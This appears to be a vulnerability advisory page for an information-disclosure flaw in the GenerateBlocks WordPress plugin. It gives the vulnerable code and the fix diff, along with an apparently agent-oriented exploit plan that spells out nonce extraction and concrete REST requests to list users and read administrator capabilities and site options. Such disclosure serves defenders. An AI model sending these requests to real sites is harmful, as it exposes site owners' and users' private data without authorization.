GenerateBlocks <= 2.1.0 - Authenticated (Contributor+) Information Disclosure
Description
The GenerateBlocks plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.1.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.1.1
Source Code
WordPress.org SVNThis plan details the process for exploiting **CVE-2026-48877**, an information disclosure vulnerability in GenerateBlocks. ### 1. Vulnerability Summary The vulnerability exists in the REST API implementation of GenerateBlocks. The classes `GenerateBlocks_Meta_Handler` and `GenerateBlocks_Query_Uti…
Show full research plan
This plan details the process for exploiting CVE-2026-48877, an information disclosure vulnerability in GenerateBlocks.
1. Vulnerability Summary
The vulnerability exists in the REST API implementation of GenerateBlocks. The classes GenerateBlocks_Meta_Handler and GenerateBlocks_Query_Utils register several endpoints that allow fetching post meta, user meta, site options, and performing user queries. These endpoints are accessible to any user with the edit_posts capability (Contributor role and above).
The core issue is twofold:
- Arbitrary Meta/Option Retrieval: The
get_metafunction inGenerateBlocks_Meta_Handleruses a blacklist (DISALLOWED_KEYS) that only blockspost_password,password, anduser_pass. It fails to protect other sensitive meta keys (e.g.,wp_capabilities,session_tokens) or sensitive site options. - Unrestricted User Querying: The
get_user_querymethod inGenerateBlocks_Query_Utilspasses user-supplied arguments directly intonew WP_User_Query($args), allowing an attacker to list all users and their associated data.
2. Attack Vector Analysis
- Endpoints:
POST /wp-json/generateblocks/v1/get-user-queryGET /wp-json/generateblocks/v1/meta/get-user-metaGET /wp-json/generateblocks/v1/meta/get-option
- Authentication: Authenticated (Contributor+).
- Required Capability:
edit_posts(Verified inpermission_callbackinincludes/class-meta-handler.phpandincludes/class-query-utils.php). - Payloads:
get-user-query: JSON body containingargsforWP_User_Query.get-user-meta: Query parametersid(User ID) andkey(Meta key).get-option: Query parameterkey(Option name).
3. Code Flow
For get-user-query:
GenerateBlocks_Query_Utils::register_rest_routesregisters/get-user-query(POST).- The callback
get_user_query(WP_REST_Request $request)is invoked. $args = $request->get_param( 'args' ) ?? [];retrieves the query parameters.$query = new WP_User_Query( $args );executes the query with attacker-controlled parameters.$query->get_results()returns the full user objects to the attacker.
For get-user-meta:
GenerateBlocks_Meta_Handler::register_rest_routesregisters/meta/get-user-meta(GET).- The callback
get_user_meta_rest(inferred implementation) callsself::get_meta. get_meta( $id, $key, $single_only, $callable, ... )is called with$callable = 'get_user_meta'.- The function checks if
$keyis inDISALLOWED_KEYS(post_password,password,user_pass). - If not blocked, it calls
call_user_func( 'get_user_meta', $id, $parent_name, true ). - The result is returned, potentially leaking sensitive meta like
wp_capabilities.
4. Nonce Acquisition Strategy
Since the attacker must be a Contributor, they can access the WordPress admin dashboard (/wp-admin/). The WordPress REST API requires an X-WP-Nonce header for authenticated requests.
- Login: Authenticate as a Contributor.
- Navigate: Navigate to
/wp-admin/index.php. - Extract Nonce: Use
browser_evalto extract the REST nonce from the standard WordPress global object.- JavaScript:
window.wpApiSettings.nonce
- JavaScript:
5. Exploitation Strategy
Step 1: List All Users
- Tool:
http_request - Method:
POST - URL:
http://vulnerable-wp.local/wp-json/generateblocks/v1/get-user-query - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{"args": {"number": 100}} - Goal: Obtain the list of all user IDs, especially the administrator's ID.
Step 2: Disclose Administrator Meta
- Tool:
http_request - Method:
GET - URL:
http://vulnerable-wp.local/wp-json/generateblocks/v1/meta/get-user-meta?id=[ADMIN_ID]&key=wp_capabilities - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]
- Goal: Confirm the ability to read sensitive user meta (roles/capabilities).
Step 3: Disclose Sensitive Site Option
- Tool:
http_request - Method:
GET - URL:
http://vulnerable-wp.local/wp-json/generateblocks/v1/meta/get-option?key=admin_email - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]
- Goal: Confirm the ability to read arbitrary site options.
6. Test Data Setup
- Install Plugin: Ensure GenerateBlocks 2.1.0 is active.
- Create Users:
- Admin user (ID 1).
- Contributor user (e.g.,
attacker/password).
- Create Content: Ensure at least one post exists so the Contributor has basic access.
7. Expected Results
get-user-query: Returns a JSON array of user objects containinguser_login,user_nicename,user_email, andID.get-user-meta: Returns the serialized capability string for the requested user (e.g.,a:1:{s:13:"administrator";b:1;}).get-option: Returns the value of the requested option (e.g.,admin@example.com).
8. Verification Steps
After the exploit, use wp-cli to verify that the returned data matches the database:
wp user list --fields=ID,user_login,user_email(Compare withget-user-queryoutput).wp user meta get 1 wp_capabilities(Compare withget-user-metaoutput).wp option get admin_email(Compare withget-optionoutput).
9. Alternative Approaches
If get-user-meta requires specific parameters not fully captured in the snippet, try variations:
- Check if the endpoint expects the meta key in dot notation to bypass simple checks:
key=some_array.property. - Try
get-term-metaif taxonomies are used:GET /wp-json/generateblocks/v1/meta/get-term-meta?id=1&key=description. - If
X-WP-Nonceis rejected, verify the user session cookies are correctly passed in thehttp_request.
Summary
The GenerateBlocks plugin (<= 2.1.0) exposes sensitive information to authenticated users with Contributor-level permissions (capability 'edit_posts'). Due to insecure REST API endpoints that handle arbitrary WP_User_Query arguments and meta/option retrieval with a weak blacklist, an attacker can list all site users and extract sensitive data such as user capabilities, site configuration, and contact details.
Vulnerable Code
// includes/class-meta-handler.php:21-25 const DISALLOWED_KEYS = [ 'post_password', 'password', 'user_pass', ]; // includes/class-meta-handler.php:177-195 public static function get_meta( $id, $key, $single_only = true, $callable = null, $fallback = '' ) { if ( ! is_string( $callable ) || ! function_exists( $callable ) || ! is_string( $key ) ) { return ''; } $key_parts = array_map( 'trim', explode( '.', $key ) ); $parent_name = $key_parts[0]; if ( empty( $key ) || in_array( $parent_name, self::DISALLOWED_KEYS, true ) ) { return ''; } --- // includes/class-query-utils.php:64-83 public function get_user_query( WP_REST_Request $request ) { $args = $request->get_param( 'args' ) ?? []; if ( ! isset( $args['number'] ) ) { $args['number'] = 150; } $number = $args['number']; $query = new WP_User_Query( $args ); $max_pages = round( $query->get_total() / $number ); return rest_ensure_response( [ 'users' => $query->get_results(), 'total' => $query->get_total(), 'max_pages' => $max_pages, ] ); }
Security Fix
@@ -21,11 +21,16 @@ const DISALLOWED_KEYS = [ 'post_password', 'password', 'user_pass', + 'wp_capabilities', + 'wp_user_level', + 'session_tokens', + 'app_passwords', + 'mailserver_pass', ]; @@ -45,11 +45,11 @@ 'generateblocks/v1', '/get-user-query', [ 'methods' => 'POST', 'callback' => [ $this, 'get_user_query' ], 'permission_callback' => function() { - return current_user_can( 'edit_posts' ); + return current_user_can( 'list_users' ); }, ] );
Exploit Outline
To exploit this vulnerability, an attacker first authenticates with a WordPress account having at least Contributor-level access. The attacker then extracts the necessary REST API nonce (X-WP-Nonce) from the WordPress admin dashboard (found in the window.wpApiSettings object). 1. The attacker sends a POST request to `/wp-json/generateblocks/v1/get-user-query` with a JSON payload containing arbitrary WP_User_Query arguments (e.g., `{"args": {"number": 100}}`). This returns a full list of user objects, including the IDs of site administrators. 2. Using the discovered administrator IDs, the attacker sends a GET request to `/wp-json/generateblocks/v1/meta/get-user-meta?id=[ADMIN_ID]&key=wp_capabilities` to retrieve sensitive role information, or targets other meta keys not blocked by the DISALLOWED_KEYS list (like session tokens). 3. The attacker can also send a GET request to `/wp-json/generateblocks/v1/meta/get-option?key=admin_email` (or other sensitive option names) to extract site configuration details.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.